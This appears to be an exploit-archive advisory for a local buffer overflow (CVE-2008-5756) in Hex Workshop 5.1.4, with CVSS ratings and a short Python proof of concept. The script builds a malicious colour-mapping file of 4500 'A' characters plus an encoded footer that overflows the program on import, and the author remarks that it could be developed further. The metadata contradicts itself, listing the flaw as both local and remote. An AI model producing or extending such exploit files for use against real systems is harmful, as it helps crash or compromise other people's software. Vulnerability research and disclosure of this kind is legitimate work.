Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow PoC

2009.01.02

Credit: Encrypt3d.M!nd

Risk: Medium

Local: Yes

Remote: No

CVE: CVE-2008-5756

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow Poc
# other versions are affected
#
# By:Encrypt3d.M!nd
# Merry Christmas & Happy New Year 2009
#
# Greetz:-=Mizo=-(Perra :-l),L!0N,El Mariachi,MiNi SpIder,GGY,and all my friends
################################################################################
#
# Just import (enc.cmap) From (Tools>Color Mapping) And See What Happen ^_^
# I Think it's Easy To Exploit but need some work *_^
chars = "A"*4500
foot = "\x20\x3D\x20\x52\x47\x42\x28\x30\x2C\x20\x30\x2C\x20\x30\x29\x2C\x20\x52\x47\x42\x28\x31\x36\x30\x2C\x20\x31\x36\x30\x2C\x20\x31\x36\x30\x29"
file=open('enc.cmap','w+')
file.write("\x22"+chars+"\x22"+foot)
file.close()

See this note in RAW Version

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Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow PoC

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